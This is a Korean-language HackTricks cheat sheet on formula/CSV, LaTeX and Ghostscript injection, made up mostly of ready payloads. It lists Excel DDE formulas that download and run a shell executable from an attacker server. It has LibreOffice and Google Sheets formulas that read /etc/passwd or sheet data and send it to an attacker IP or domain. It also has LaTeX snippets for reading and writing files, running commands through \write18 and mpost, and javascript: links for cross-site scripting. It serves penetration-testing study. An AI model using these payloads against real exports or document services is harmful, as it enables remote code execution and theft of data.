12 KiB
Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Formula Injection
Info
만약 당신의 input이 CSV 파일(또는 아마도 Excel로 열릴 다른 파일) 안에 반영되고 있다면, 사용자가 파일을 열 때 또는 사용자가 엑셀 시트 안의 어떤 링크를 클릭할 때 실행될 Excel 수식을 넣을 수 있을지도 모릅니다.
{% hint style="danger" %} 요즘 Excel은 외부에서 로드된 내용에 대해 사용자에게 경고(여러 번)하여 악의적인 행동을 방지합니다. 따라서 최종 페이로드에 대한 사회 공학에 특별한 노력이 필요합니다. {% endhint %}
Wordlist
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
Hyperlink
다음 예시는 최종 엑셀 시트에서 콘텐츠를 유출하고 임의의 위치에 요청을 수행하는 데 매우 유용합니다. 그러나 사용자가 링크를 클릭하고 경고 메시지를 수락해야 합니다.
다음 예시는 https://payatu.com/csv-injection-basic-to-exploit에서 가져온 것입니다.
학생 기록 관리 시스템에서 보안 침해가 CSV 주입 공격을 통해 악용되는 상황을 상상해 보십시오. 공격자의 주요 의도는 교사가 학생 세부 정보를 관리하는 데 사용하는 시스템을 손상시키는 것입니다. 이 방법은 공격자가 학생 세부 정보를 입력하는 필드에 악성 공식을 주입하는 방식으로 애플리케이션에 악성 페이로드를 주입하는 것입니다. 공격은 다음과 같이 전개됩니다:
- 악성 페이로드 주입:
- 공격자는 학생 세부 정보 양식을 제출하지만 스프레드시트에서 일반적으로 사용되는 공식을 포함합니다 (예:
=HYPERLINK("<malicious_link>","Click here")
). - 이 공식은 하이퍼링크를 생성하도록 설계되었지만, 공격자가 제어하는 악성 서버를 가리킵니다.
- 손상된 데이터 내보내기:
- 교사는 손상이 발생한 것을 알지 못하고 애플리케이션의 기능을 사용하여 데이터를 CSV 파일로 내보냅니다.
- CSV 파일을 열면 여전히 악성 페이로드가 포함되어 있습니다. 이 페이로드는 스프레드시트에서 클릭 가능한 하이퍼링크로 나타납니다.
- 공격 유발:
- 교사는 하이퍼링크를 클릭하여 학생 세부 정보의 합법적인 부분이라고 믿습니다.
- 클릭하면 민감한 데이터(스프레드시트의 세부 정보 또는 교사의 컴퓨터에서 포함될 수 있음)가 공격자의 서버로 전송됩니다.
- 데이터 기록:
- 공격자의 서버는 교사의 컴퓨터에서 전송된 민감한 데이터를 수신하고 기록합니다.
- 공격자는 이 데이터를 다양한 악의적인 목적으로 사용할 수 있으며, 학생들과 기관의 프라이버시와 보안을 더욱 손상시킬 수 있습니다.
RCE
자세한 내용은 원본 게시물 을 확인하십시오.
특정 구성이나 이전 버전의 Excel에서는 임의의 명령을 실행하기 위해 동적 데이터 교환(DDE)이라는 기능을 악용할 수 있습니다. 이를 활용하려면 다음 설정을 활성화해야 합니다:
- 파일 → 옵션 → 신뢰 센터 → 신뢰 센터 설정 → 외부 콘텐츠로 이동하여 동적 데이터 교환 서버 시작을 활성화합니다.
악성 페이로드가 포함된 스프레드시트를 열면(사용자가 경고를 수락하는 경우) 페이로드가 실행됩니다. 예를 들어, 계산기 애플리케이션을 실행하기 위한 페이로드는 다음과 같습니다:
=cmd|' /C calc'!xxx
추가 명령도 실행할 수 있으며, 예를 들어 PowerShell을 사용하여 파일을 다운로드하고 실행할 수 있습니다:
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc는 로컬 파일을 읽고 데이터를 유출하는 데 사용할 수 있습니다. 다음은 몇 가지 방법입니다:
- 로컬
/etc/passwd
파일의 첫 번째 줄 읽기:='file:///etc/passwd'#$passwd.A1
- 읽은 데이터를 공격자가 제어하는 서버로 유출하기:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
- 여러 줄 유출하기:
=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- DNS 유출 (읽은 데이터를 공격자가 제어하는 DNS 서버로 DNS 쿼리로 전송하기):
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))
Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets는 OOB 데이터 유출을 위해 악용될 수 있는 기능을 제공합니다:
- CONCATENATE: 문자열을 함께 추가합니다 -
=CONCATENATE(A2:E2)
- IMPORTXML: 구조화된 데이터 유형에서 데이터를 가져옵니다 -
=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
- IMPORTFEED: RSS 또는 ATOM 피드를 가져옵니다 -
=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
- IMPORTHTML: HTML 테이블 또는 목록에서 데이터를 가져옵니다 -
=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
- IMPORTRANGE: 다른 스프레드시트에서 셀 범위를 가져옵니다 -
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
- IMAGE: 셀에 이미지를 삽입합니다 -
=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")
LaTeX Injection
일반적으로 인터넷에서 LaTeX 코드를 PDF로 변환하는 서버는 **pdflatex
**를 사용합니다.
이 프로그램은 명령 실행을 (허용)하지 않기 위해 3가지 주요 속성을 사용합니다:
--no-shell-escape
:texmf.cnf
파일에서 활성화되어 있더라도\write18{command}
구문을 비활성화합니다.--shell-restricted
:--shell-escape
와 동일하지만 미리 정의된 '안전한' 명령 집합으로 제한됩니다 (**Ubuntu 16.04에서는 목록이/usr/share/texmf/web2c/texmf.cnf
에 있습니다).--shell-escape
:\write18{command}
구문을 활성화합니다. 명령은 어떤 셸 명령도 될 수 있습니다. 이 구문은 보안상의 이유로 일반적으로 허용되지 않습니다.
그러나 명령을 실행하는 다른 방법이 있으므로 RCE를 피하기 위해 --shell-restricted
를 사용하는 것이 매우 중요합니다.
Read file
주입을 [ 또는 $와 같은 래퍼로 조정해야 할 수도 있습니다.
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
단일 행 파일 읽기
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
여러 줄 파일 읽기
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
파일 쓰기
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
Command execution
명령의 입력은 stdin으로 리디렉션되며, 이를 얻기 위해 임시 파일을 사용합니다.
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
LaTex 오류가 발생하면, 잘못된 문자가 없는 결과를 얻기 위해 base64를 사용하는 것을 고려하세요.
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}
교차 사이트 스크립팅
From @EdOverflow
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
Ghostscript Injection
Check https://blog.redteam-pentesting.de/2023/ghostscript-overview/
References
- https://notsosecure.com/data-exfiltration-formula-injection-part1
- https://0day.work/hacking-with-latex/
- https://salmonsec.com/cheatsheet/latex_injection
- https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.